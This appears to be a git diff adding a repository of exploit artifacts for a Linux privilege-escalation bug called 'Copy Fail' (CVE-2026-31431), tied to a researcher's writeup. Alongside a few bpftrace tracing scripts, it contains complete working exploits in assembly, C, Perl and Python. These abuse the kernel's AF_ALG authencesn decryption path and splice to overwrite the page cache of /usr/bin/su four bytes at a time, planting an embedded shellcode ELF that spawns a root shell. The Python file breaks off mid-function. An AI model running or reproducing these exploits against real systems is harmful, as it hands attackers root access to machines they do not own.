diff --git a/README.md b/README.md new file mode 100644 index 0000000..42ffa34 --- /dev/null +++ b/README.md @@ -0,0 +1 @@ +This is a repository that stores artifacts, exploit scripts for the writeup at [https://4xura.com](https://4xura.com/) , targeting the Linux LPE named "Copy Fail". \ No newline at end of file diff --git a/bpftrace-scripts/bpftrace-af-alg-sendmsg.bt b/bpftrace-scripts/bpftrace-af-alg-sendmsg.bt new file mode 100644 index 0000000..3f4884a --- /dev/null +++ b/bpftrace-scripts/bpftrace-af-alg-sendmsg.bt @@ -0,0 +1,6 @@ +kprobe:af_alg_sendmsg /comm == "copyfail_poc"/ +{ + $msg = (struct msghdr *)arg1; + printf("af_alg_sendmsg: size=0x%lx msg_flags=0x%x\n", + arg2, $msg->msg_flags); +} diff --git a/bpftrace-scripts/bpftrace-authencesn-decrypt.bt b/bpftrace-scripts/bpftrace-authencesn-decrypt.bt new file mode 100644 index 0000000..31dde6f --- /dev/null +++ b/bpftrace-scripts/bpftrace-authencesn-decrypt.bt @@ -0,0 +1,6 @@ +kprobe:crypto_authenc_esn_decrypt /comm == "copyfail_poc"/ +{ + $req = (struct aead_request *)arg0; + printf("authencesn_decrypt: assoclen=0x%x cryptlen=0x%x\n", + $req->assoclen, $req->cryptlen); +} diff --git a/bpftrace-scripts/bpftrace-filemap-splice.bt b/bpftrace-scripts/bpftrace-filemap-splice.bt new file mode 100644 index 0000000..bf4195a --- /dev/null +++ b/bpftrace-scripts/bpftrace-filemap-splice.bt @@ -0,0 +1,12 @@ +kprobe:filemap_splice_read /comm == "copyfail_poc"/ +{ + $in = (struct file *)arg0; + $ppos = (loff_t *)arg1; + printf("filemap_splice_read: pos=0x%llx ino=%lu\n", + *$ppos, $in->f_inode->i_ino); +} + +kprobe:splice_folio_into_pipe /comm == "copyfail_poc"/ +{ + printf("splice_folio_into_pipe\n"); +} diff --git a/exploit-scripts/exploit.asm b/exploit-scripts/exploit.asm new file mode 100644 index 0000000..38ad8a2 --- /dev/null +++ b/exploit-scripts/exploit.asm @@ -0,0 +1,344 @@ +; CopyFail CVE-2026-31431 Linux LPE exploit, x86_64 NASM version. +; +; Build: +; nasm -f elf64 exploit.asm -o exploit.o +; ld -o exploit_asm exploit.o +; +; Input: +; payload.pwnkit.elf must exist in the build directory. Generate it with the +; compact ELF carrier workflow from section 7.3.1.1. + +BITS 64 +global _start + +%define SYS_write 1 +%define SYS_open 2 +%define SYS_close 3 +%define SYS_pipe 22 +%define SYS_socket 41 +%define SYS_accept 43 +%define SYS_recvfrom 45 +%define SYS_sendmsg 46 +%define SYS_bind 49 +%define SYS_setsockopt 54 +%define SYS_execve 59 +%define SYS_exit 60 +%define SYS_splice 275 + +%define AF_ALG 38 +%define SOCK_SEQPACKET 5 +%define SOL_ALG 279 +%define ALG_SET_KEY 1 +%define ALG_SET_IV 2 +%define ALG_SET_OP 3 +%define ALG_SET_AEAD_ASSOCLEN 4 +%define ALG_SET_AEAD_AUTHSIZE 5 +%define MSG_MORE 0x8000 + +%define O_RDONLY 0 +%define RXBUF_SIZE 8192 + +section .text + +_start: + lea rbx, [rel target_su] + + ; If argv[1] exists, treat it as the full target path. + mov rax, [rsp] + cmp rax, 2 + jb .open_target + mov rbx, [rsp + 16] + +.open_target: + lea rdi, [rel msg_target] + mov rsi, msg_target_len + call print + mov rdi, rbx + call puts + + mov rax, SYS_open + mov rdi, rbx + mov rsi, O_RDONLY + xor rdx, rdx + syscall + call check + mov [file_fd], eax + + xor r12, r12 ; payload offset + +.patch_loop: + cmp r12, payload_len + jae .execute_target + + call open_authencesn_socket + + lea rsi, [rel payload] + add rsi, r12 + call queue_aad + + mov rdi, [file_fd] + mov rsi, [op_fd] + mov rdx, r12 + call splice_target_window + + mov rdi, [op_fd] + mov rsi, r12 + call trigger_decrypt + + mov rdi, [op_fd] + call close_fd + mov rdi, [tfm_fd] + call close_fd + + add r12, 4 + jmp .patch_loop + +.execute_target: + mov rdi, [file_fd] + call close_fd + + lea rdi, [rel msg_exec] + mov rsi, msg_exec_len + call print + + mov rax, SYS_execve + mov rdi, rbx + lea rsi, [rel exec_argv] + xor rdx, rdx + syscall + jmp fatal + +open_authencesn_socket: + mov rax, SYS_socket + mov rdi, AF_ALG + mov rsi, SOCK_SEQPACKET + xor rdx, rdx + syscall + call check + mov [tfm_fd], eax + + mov rax, SYS_bind + mov edi, [tfm_fd] + lea rsi, [rel sockaddr_alg] + mov rdx, sockaddr_alg_len + syscall + call check + + mov rax, SYS_setsockopt + mov edi, [tfm_fd] + mov rsi, SOL_ALG + mov rdx, ALG_SET_KEY + lea r10, [rel keyblob] + mov r8, keyblob_len + syscall + call check + + mov rax, SYS_setsockopt + mov edi, [tfm_fd] + mov rsi, SOL_ALG + mov rdx, ALG_SET_AEAD_AUTHSIZE + xor r10, r10 + mov r8, 4 + syscall + call check + + mov rax, SYS_accept + mov edi, [tfm_fd] + xor rsi, rsi + xor rdx, rdx + syscall + call check + mov [op_fd], eax + ret + +; rsi = pointer to the next 4-byte payload chunk. +queue_aad: + mov dword [aad], 0x41414141 + mov eax, [rsi] + mov [aad + 4], eax + + lea rax, [rel aad] + mov [iov], rax + mov qword [iov + 8], 8 + + mov qword [msg_hdr + 0], 0 + mov dword [msg_hdr + 8], 0 + lea rax, [rel iov] + mov qword [msg_hdr + 16], rax + mov qword [msg_hdr + 24], 1 + lea rax, [rel cbuf] + mov qword [msg_hdr + 32], rax + mov qword [msg_hdr + 40], cbuf_len + mov dword [msg_hdr + 48], 0 + + mov qword [cbuf + 0], 20 ; CMSG_LEN(sizeof(uint32_t)) + mov dword [cbuf + 8], SOL_ALG + mov dword [cbuf + 12], ALG_SET_OP + mov dword [cbuf + 16], 0 ; ALG_OP_DECRYPT + + mov qword [cbuf + 24], 36 ; CMSG_LEN(sizeof(struct af_alg_iv)+16) + mov dword [cbuf + 32], SOL_ALG + mov dword [cbuf + 36], ALG_SET_IV + mov dword [cbuf + 40], 16 ; ivlen + mov qword [cbuf + 44], 0 + mov qword [cbuf + 52], 0 + + mov qword [cbuf + 64], 20 ; CMSG_LEN(sizeof(uint32_t)) + mov dword [cbuf + 72], SOL_ALG + mov dword [cbuf + 76], ALG_SET_AEAD_ASSOCLEN + mov dword [cbuf + 80], 8 + + mov rax, SYS_sendmsg + mov edi, [op_fd] + lea rsi, [rel msg_hdr] + mov rdx, MSG_MORE + syscall + call check + ret + +; rdi = file fd, rsi = op fd, rdx = target offset. +splice_target_window: + mov [saved_op_fd], rsi + lea rax, [rdx + 4] + mov [splice_len], rax + mov qword [splice_off], 0 + + mov rax, SYS_pipe + lea rdi, [rel pipefd] + syscall + call check + + mov rax, SYS_splice + mov rdi, [file_fd] + lea rsi, [rel splice_off] + mov edx, [pipefd + 4] + xor r10, r10 + mov r8, [splice_len] + xor r9, r9 + syscall + call check + + mov rax, SYS_splice + mov edi, [pipefd] + xor rsi, rsi + mov rdx, [saved_op_fd] + xor r10, r10 + mov r8, [splice_len] + xor r9, r9 + syscall + call check + + mov edi, [pipefd] + call close_fd + mov edi, [pipefd + 4] + call close_fd + ret + +; rdi = op fd, rsi = target offset. +trigger_decrypt: + lea rdx, [rsi + 8] + cmp rdx, RXBUF_SIZE + ja fatal + + mov rax, SYS_recvfrom + lea rsi, [rel rxbuf] + xor r10, r10 + xor r8, r8 + xor r9, r9 + syscall + ; Authentication failure is expected. Ignore recvfrom's return value. + ret + +close_fd: + mov rax, SYS_close + syscall + ret + +print: + mov rdx, rsi + mov rsi, rdi + mov rax, SYS_write + mov rdi, 1 + syscall + ret + +puts: + push rdi + xor rcx, rcx +.len: + cmp byte [rdi + rcx], 0 + je .write + inc rcx + jmp .len +.write: + pop rdi + mov rsi, rcx + call print + lea rdi, [rel nl] + mov rsi, 1 + call print + ret + +check: + test rax, rax + js fatal + ret + +fatal: + lea rdi, [rel msg_fail] + mov rsi, msg_fail_len + call print + mov rax, SYS_exit + mov rdi, 1 + syscall + +section .data + +target_su db "/usr/bin/su", 0 +exec_arg0 db "su", 0 +exec_argv dq exec_arg0, 0 +nl db 10 + +msg_target db "[+] target : " +msg_target_len equ $ - msg_target +msg_exec db "[+] payload staged into page cache, executing target...", 10 +msg_exec_len equ $ - msg_exec +msg_fail db "[-] syscall failed", 10 +msg_fail_len equ $ - msg_fail + +sockaddr_alg: + dw AF_ALG + db "aead", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 + dd 0 + dd 0 + db "authencesn(hmac(sha256),cbc(aes))", 0 + times 64 - ($ - sockaddr_alg - 24) db 0 +sockaddr_alg_len equ $ - sockaddr_alg + +keyblob: + dw 8 ; rtattr.rta_len + dw 1 ; CRYPTO_AUTHENC_KEYA_PARAM + dd 0x10000000 ; htonl(16) + times 32 db 0 +keyblob_len equ $ - keyblob + +payload: + incbin "payload.pwnkit.elf" +payload_end: + times 3 db 0 +payload_len equ payload_end - payload + +section .bss +file_fd resq 1 +tfm_fd resq 1 +op_fd resq 1 +saved_op_fd resq 1 +pipefd resd 2 +splice_off resq 1 +splice_len resq 1 +aad resb 8 +iov resq 2 +msg_hdr resb 56 +cbuf resb 88 +cbuf_len equ 88 +rxbuf resb RXBUF_SIZE diff --git a/exploit-scripts/exploit.c b/exploit-scripts/exploit.c new file mode 100644 index 0000000..4a15b2c --- /dev/null +++ b/exploit-scripts/exploit.c @@ -0,0 +1,274 @@ +/** + * Title : CopyFail CVE-2026-31431 Linux LPE exploit + * Date : 2026-05-15 + * Author : Axura (@4xura) - https://4xura.com + * + * Description: + * ------------ + * Uses AF_ALG + authencesn(hmac(sha256),cbc(aes)) to turn a 4-byte + * destination-side scratch write into a page-cache overwrite primitive. + * The exploit places the controlled 4-byte value in AAD[4:8], splices a + * file-backed page range into the AEAD request, triggers decrypt, and + * repeats that primitive until the replacement payload is staged into the + * target executable's page cache. + * + * Usage: + * ------ + * gcc -static -Wall -Wextra -O2 -o exploit exploit.c + * ./exploit + * DEBUG=1 ./exploit + * ./exploit + * + * Notes: + * ------ + * Replace PAYLOAD_BYTES with the final replacement byte sequence to stage + * into the target executable for arbitrary code execution. + * The default target is /usr/bin/su. Authentication failure during recv() + * is expected; the exploit only requires authencesn() to execute far enough + * for the 4-byte scratch write to occur before the error is returned. + * Provided for educational use. Use responsibly. + * + */ + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +enum { + CRYPTO_AUTHENC_KEYA_UNSPEC, + CRYPTO_AUTHENC_KEYA_PARAM, +}; + +struct crypto_authenc_key_param { + uint32_t enckeylen; +}; + +static int debug_enabled; + +static void die(const char *msg) +{ + perror(msg); + exit(EXIT_FAILURE); +} + +/* + * [ SHELLCODE ] + * Replacement bytes to stage into the target executable. + * + * Each loop iteration below consumes 4 bytes from this array and turns them + * into one page-cache overwrite primitive. + */ +static const unsigned char PAYLOAD_BYTES[] = { + /* TODO: insert replacement bytes here (default: exec("/bin/sh)) */ + 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0xb8, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xeb, 0x00, 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05, 0x00, 0x2e, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; + +static const size_t PAYLOAD_LEN = sizeof(PAYLOAD_BYTES); + +static void open_authencesn_socket(int *tfm_fd, int *op_fd) +{ + struct { + struct rtattr rta; + struct crypto_authenc_key_param param; + unsigned char keys[16 + 16]; + } keyblob = { + .rta = { + .rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param)), + .rta_type = CRYPTO_AUTHENC_KEYA_PARAM, + }, + .param = { + .enckeylen = htonl(16), + }, + }; + + struct sockaddr_alg sa = { + .salg_family = AF_ALG, + .salg_type = "aead", + .salg_name = "authencesn(hmac(sha256),cbc(aes))", + }; + + memset(keyblob.keys, 0x00, sizeof(keyblob.keys)); + + *tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (*tfm_fd < 0) + die("socket(AF_ALG)"); + + if (bind(*tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) + die("bind(authencesn)"); + + if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_KEY, + &keyblob, sizeof(keyblob)) < 0) + die("setsockopt(ALG_SET_KEY)"); + + if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, + NULL, 4) < 0) + die("setsockopt(ALG_SET_AEAD_AUTHSIZE)"); + + *op_fd = accept(*tfm_fd, NULL, NULL); + if (*op_fd < 0) + die("accept"); +} + +static void queue_aad(int op_fd, const unsigned char chunk[4]) +{ + unsigned char aad[8] = { 'A', 'A', 'A', 'A', chunk[0], chunk[1], chunk[2], chunk[3] }; + unsigned char ivbuf[sizeof(struct af_alg_iv) + 16] = {0}; + unsigned char cbuf[ + CMSG_SPACE(sizeof(uint32_t)) + + CMSG_SPACE(sizeof(ivbuf)) + + CMSG_SPACE(sizeof(uint32_t)) + ] = {0}; + struct af_alg_iv *iv = (void *)ivbuf; + struct iovec iov = { + .iov_base = aad, + .iov_len = sizeof(aad), + }; + struct msghdr msg = { + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = cbuf, + .msg_controllen = sizeof(cbuf), + }; + struct cmsghdr *cmsg; + uint32_t op = 0; /* ALG_OP_DECRYPT */ + uint32_t assoclen = 8; + + /* + * AAD layout: + * + * +------+------+------+------+------+------+------+------+ + * | A | A | A | A | w0 | w1 | w2 | w3 | + * +------+------+------+------+------+------+------+------+ + * + * Bytes 4..7 become seqno_lo, which authencesn later writes. + */ + iv->ivlen = 16; + + cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_ALG; + cmsg->cmsg_type = ALG_SET_OP; + cmsg->cmsg_len = CMSG_LEN(sizeof(op)); + memcpy(CMSG_DATA(cmsg), &op, sizeof(op)); + + cmsg = CMSG_NXTHDR(&msg, cmsg); + cmsg->cmsg_level = SOL_ALG; + cmsg->cmsg_type = ALG_SET_IV; + cmsg->cmsg_len = CMSG_LEN(sizeof(ivbuf)); + memcpy(CMSG_DATA(cmsg), ivbuf, sizeof(ivbuf)); + + cmsg = CMSG_NXTHDR(&msg, cmsg); + cmsg->cmsg_level = SOL_ALG; + cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN; + cmsg->cmsg_len = CMSG_LEN(sizeof(assoclen)); + memcpy(CMSG_DATA(cmsg), &assoclen, sizeof(assoclen)); + + if (sendmsg(op_fd, &msg, MSG_MORE) < 0) + die("sendmsg(AAD)"); +} + +static void splice_target_window(int file_fd, int op_fd, off_t target_offset) +{ + int pipefd[2]; + loff_t splice_off = 0; + size_t splice_len = (size_t)target_offset + 4; + + /* + * Imported layout: + * + * file[0 : target_offset] -> ciphertext region + * file[target_offset : +4] -> preserved tag tail + * + * authsize = 4 makes those last 4 imported bytes sit exactly where + * authencesn later performs its scratch write. + */ + if (pipe(pipefd) < 0) + die("pipe"); + + if (splice(file_fd, &splice_off, pipefd[1], NULL, splice_len, 0) < 0) + die("splice(file -> pipe)"); + + if (splice(pipefd[0], NULL, op_fd, NULL, splice_len, 0) < 0) + die("splice(pipe -> AF_ALG)"); + + close(pipefd[0]); + close(pipefd[1]); +} + +static void trigger_decrypt(int op_fd, off_t target_offset) +{ + size_t rx_len = (size_t)target_offset + 8; + unsigned char *outbuf = malloc(rx_len); + ssize_t n; + + if (!outbuf) + die("malloc(recv)"); + + n = recv(op_fd, outbuf, rx_len, 0); + + if (debug_enabled && n < 0) + printf(" [-] recv() returned: %s\n", strerror(errno)); + + free(outbuf); +} + +static void overwrite_4_bytes(int file_fd, off_t target_offset, const unsigned char chunk[4]) +{ + int tfm_fd, op_fd; + + if (debug_enabled) { + printf("[+] overwrite @ 0x%llx: %02x%02x%02x%02x\n", + (unsigned long long)target_offset, + chunk[0], chunk[1], chunk[2], chunk[3]); + } + + open_authencesn_socket(&tfm_fd, &op_fd); + queue_aad(op_fd, chunk); + splice_target_window(file_fd, op_fd, target_offset); + trigger_decrypt(op_fd, target_offset); + close(op_fd); + close(tfm_fd); +} + +int main(int argc, char **argv) +{ + const char *target = "/usr/bin/su"; + int file_fd; + size_t i; + + if (getenv("DEBUG")) + debug_enabled = 1; + + if (argc > 1) { + static char path[256]; + snprintf(path, sizeof(path), "/usr/bin/%s", argv[1]); + target = path; + } + + printf("[+] target : %s\n", target); + printf("[+] payload : %zu bytes\n", PAYLOAD_LEN); + printf("[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write\n"); + + file_fd = open(target, O_RDONLY); + if (file_fd < 0) + die("open(target)"); + + for (i = 0; i < PAYLOAD_LEN; i += 4) + overwrite_4_bytes(file_fd, (off_t)i, PAYLOAD_BYTES + i); + + close(file_fd); + + printf("[+] payload staged into page cache, executing target...\n"); + execl("/bin/su", "su", NULL); + die("execl(su)"); + return 0; +} \ No newline at end of file diff --git a/exploit-scripts/exploit.pl b/exploit-scripts/exploit.pl new file mode 100644 index 0000000..f2d53c4 --- /dev/null +++ b/exploit-scripts/exploit.pl @@ -0,0 +1,181 @@ +#!/usr/bin/env perl +# +# CopyFail CVE-2026-31431 Linux LPE exploit, Perl version. +# +# Usage: +# perl exploit.pl [target_path] [payload_elf] +# COPYFAIL_DEBUG=1 perl exploit.pl +# +# Defaults: +# target_path = /usr/bin/su +# payload_elf = ./payload.pwnkit.elf + +use strict; +use warnings; +use Config; + +die "x86_64 Perl required\n" unless $Config{ptrsize} == 8; + +use constant { + SYS_WRITE => 1, + SYS_OPEN => 2, + SYS_CLOSE => 3, + SYS_PIPE => 22, + SYS_SOCKET => 41, + SYS_ACCEPT => 43, + SYS_RECVFROM => 45, + SYS_SENDMSG => 46, + SYS_BIND => 49, + SYS_SETSOCKOPT => 54, + SYS_EXECVE => 59, + SYS_SPLICE => 275, + + AF_ALG => 38, + SOCK_SEQPACKET => 5, + SOL_ALG => 279, + ALG_SET_KEY => 1, + ALG_SET_IV => 2, + ALG_SET_OP => 3, + ALG_SET_AEAD_ASSOCLEN => 4, + ALG_SET_AEAD_AUTHSIZE => 5, + MSG_MORE => 0x8000, + + O_RDONLY => 0, +}; + +my $DEBUG = $ENV{COPYFAIL_DEBUG} ? 1 : 0; + +sub ptr { + return unpack("Q<", pack("P", $_[0])); +} + +sub xsyscall { + my ($name, @args) = @_; + my $ret = syscall(@args); + die "$name: $!\n" if !defined($ret) || $ret < 0; + return $ret; +} + +sub read_payload { + my ($path) = @_; + open(my $fh, "<:raw", $path) or die "open($path): $!\n"; + local $/; + my $payload = <$fh>; + close($fh); + die "empty payload: $path\n" unless defined($payload) && length($payload); + return $payload; +} + +sub open_authencesn_socket { + my $tfm = xsyscall("socket(AF_ALG)", SYS_SOCKET, AF_ALG, SOCK_SEQPACKET, 0); + + my $sockaddr_alg = pack( + "S< a14 L< L< a64", + AF_ALG, + "aead" . ("\0" x 10), + 0, + 0, + "authencesn(hmac(sha256),cbc(aes))" + ); + + xsyscall("bind(authencesn)", SYS_BIND, $tfm, $sockaddr_alg, length($sockaddr_alg)); + + my $keyblob = pack("S< S< N", 8, 1, 16) . ("\0" x 32); + xsyscall("setsockopt(ALG_SET_KEY)", + SYS_SETSOCKOPT, $tfm, SOL_ALG, ALG_SET_KEY, $keyblob, length($keyblob)); + + xsyscall("setsockopt(ALG_SET_AEAD_AUTHSIZE)", + SYS_SETSOCKOPT, $tfm, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 0, 4); + + my $op = xsyscall("accept", SYS_ACCEPT, $tfm, 0, 0); + return ($tfm, $op); +} + +sub queue_aad { + my ($op, $chunk) = @_; + + my $aad = "AAAA" . $chunk; + my $iov = pack("Q< Q<", ptr($aad), length($aad)); + + my $cbuf = + pack("Q< L< L< L< x4", 20, SOL_ALG, ALG_SET_OP, 0) . + pack("Q< L< L< L< a16 x4", 36, SOL_ALG, ALG_SET_IV, 16, "\0" x 16) . + pack("Q< L< L< L< x4", 20, SOL_ALG, ALG_SET_AEAD_ASSOCLEN, 8); + + my $msg = pack( + "Q< L< x4 Q< Q< Q< Q< L< x4", + 0, 0, + ptr($iov), 1, + ptr($cbuf), length($cbuf), + 0 + ); + + xsyscall("sendmsg(AAD)", SYS_SENDMSG, $op, $msg, MSG_MORE); +} + +sub splice_target_window { + my ($file_fd, $op, $target_offset) = @_; + + my $pipebuf = "\0" x 8; + xsyscall("pipe", SYS_PIPE, $pipebuf); + my ($rfd, $wfd) = unpack("l< l<", $pipebuf); + + my $splice_len = $target_offset + 4; + my $splice_off = pack("q<", 0); + + xsyscall("splice(file -> pipe)", + SYS_SPLICE, $file_fd, $splice_off, $wfd, 0, $splice_len, 0); + + xsyscall("splice(pipe -> AF_ALG)", + SYS_SPLICE, $rfd, 0, $op, 0, $splice_len, 0); + + syscall(SYS_CLOSE, $rfd); + syscall(SYS_CLOSE, $wfd); +} + +sub trigger_decrypt { + my ($op, $target_offset) = @_; + my $rx_len = $target_offset + 8; + my $rxbuf = "\0" x $rx_len; + + my $ret = syscall(SYS_RECVFROM, $op, $rxbuf, $rx_len, 0, 0, 0); + print " [-] recv() returned: $!\n" if $DEBUG && defined($ret) && $ret < 0; +} + +sub overwrite_4_bytes { + my ($file_fd, $target_offset, $chunk) = @_; + $chunk .= "\0" x (4 - length($chunk)) if length($chunk) < 4; + + print sprintf("[+] overwrite \@ 0x%x: %s\n", $target_offset, unpack("H*", $chunk)) + if $DEBUG; + + my ($tfm, $op) = open_authencesn_socket(); + queue_aad($op, $chunk); + splice_target_window($file_fd, $op, $target_offset); + trigger_decrypt($op, $target_offset); + syscall(SYS_CLOSE, $op); + syscall(SYS_CLOSE, $tfm); +} + +my $target = $ARGV[0] // "/usr/bin/su"; +my $payload_path = $ARGV[1] // "./payload.pwnkit.elf"; +my $payload = read_payload($payload_path); +my $payload_len = length($payload); + +print "[+] target : $target\n"; +print "[+] payload : $payload_len bytes from $payload_path\n"; +print "[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write\n"; + +my $file_fd = xsyscall("open(target)", SYS_OPEN, $target, O_RDONLY, 0); + +for (my $off = 0; $off < $payload_len; $off += 4) { + overwrite_4_bytes($file_fd, $off, substr($payload, $off, 4)); +} + +syscall(SYS_CLOSE, $file_fd); + +print "[+] payload staged into page cache, executing target...\n"; +my $arg0 = "su\0"; +my $argv = pack("Q< Q<", ptr($arg0), 0); +syscall(SYS_EXECVE, $target, $argv, 0); +die "execve($target): $!\n"; diff --git a/exploit-scripts/exploit.py b/exploit-scripts/exploit.py new file mode 100644 index 0000000..9e6a9f1 --- /dev/null +++ b/exploit-scripts/exploit.py @@ -0,0 +1,219 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# +# Title : CopyFail CVE-2026-31431 Linux LPE exploit +# Date : 2026-05-15 +# Author : Axura (@4xura) - https://4xura.com +# +# Description: +# ------------ +# AAD[4:8] -> 4-byte controlled write value +# authsize = 4 -> target bytes sit in the imported tag tail +# splice len=t+4 -> the last 4 imported file bytes are the overwrite target +# recv() -> triggers authencesn() scratch write, even if auth fails +# +# Usage: +# ------ +# python3 exploit.py +# DEBUG=1 python3 exploit.py [target_basename] +# python3 exploit.py [target_basename] +# +# Notes: +# ------ +# Provided for educational purposes only. Use responsibly. +# + +import os +import sys +import zlib +import socket + + +DEBUG = bool(os.getenv("DEBUG")) + + +def hex_bytes(s: str) -> bytes: + return bytes.fromhex(s) + + +SOL_ALG = 279 +ALG_SET_KEY = 1 +ALG_SET_IV = 2 +ALG_SET_OP = 3 +ALG_SET_AEAD_ASSOCLEN = 4 +ALG_SET_AEAD_AUTHSIZE = 5 +MSG_MORE = 0x8000 + + +# authenc key blob: +# [rtattr|authenc param|16-byte auth key|16-byte AES key] +AUTHENC_KEY_BLOB = hex_bytes("0800010000000010" + "0" * 64) + + +def open_authencesn_socket() -> tuple[socket.socket, socket.socket]: + """ + Open the vulnerable AEAD transform and one accepted request socket. + + userspace: + socket(AF_ALG) -> bind("aead", "authencesn(...)") -> accept() + + kernel: + AF_ALG family -> algif_aead -> authencesn decrypt callback later on recv() + """ + tfm = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0) + tfm.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) + tfm.setsockopt(SOL_ALG, ALG_SET_KEY, AUTHENC_KEY_BLOB) + tfm.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4) + op, _ = tfm.accept() + return tfm, op + + +def queue_aad(op: socket.socket, write_value: bytes) -> None: + """ + Queue 8 bytes of AAD. Bytes 4..7 become the later 4-byte overwrite. + + AAD layout: + byte 0..3 = filler + byte 4..7 = controlled value written later by authencesn() + + +------+------+------+------+------+------+------+------+ + | A | A | A | A | w0 | w1 | w2 | w3 | + +------+------+------+------+------+------+------+------+ + """ + zero = hex_bytes("00") + aad = b"A" * 4 + write_value + + # Control messages: + # ALG_SET_OP -> decrypt + # ALG_SET_IV -> 16-byte IV + # ALG_SET_AEAD_ASSOCLEN -> assoclen = 8 + op.sendmsg( + [aad], + [ + (SOL_ALG, ALG_SET_OP, zero * 4), + (SOL_ALG, ALG_SET_IV, b"\x10" + zero * 19), + (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x08" + zero * 3), + ], + MSG_MORE, + ) + + +def splice_target_window(file_fd: int, op_fd: int, target_offset: int) -> None: + """ + Import the file window whose last 4 bytes are the overwrite target. + + splice_len = target_offset + 4 + + so that the imported bytes are: + + file[0 : target_offset] -> ciphertext region + file[target_offset : +4] -> preserved tag tail + + authsize = 4 makes those last 4 bytes sit exactly where authencesn() + later performs its destination-side scratch write. + """ + splice_len = target_offset + 4 + read_fd, write_fd = os.pipe() + + try: + # file -> pipe + os.splice(file_fd, write_fd, splice_len, offset_src=0) + # pipe -> AF_ALG socket + os.splice(read_fd, op_fd, splice_len) + finally: + os.close(read_fd) + os.close(write_fd) + + +def trigger_decrypt(op: socket.socket, target_offset: int) -> None: + """ + Trigger the decrypt path. + + The exploit does not require a successful decrypt. It only requires + authencesn() to execute far enough that: + + scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1) + + performs the 4-byte write before recv() reports authentication failure. + """ + try: + op.recv(8 + target_offset) + except OSError as e: + if 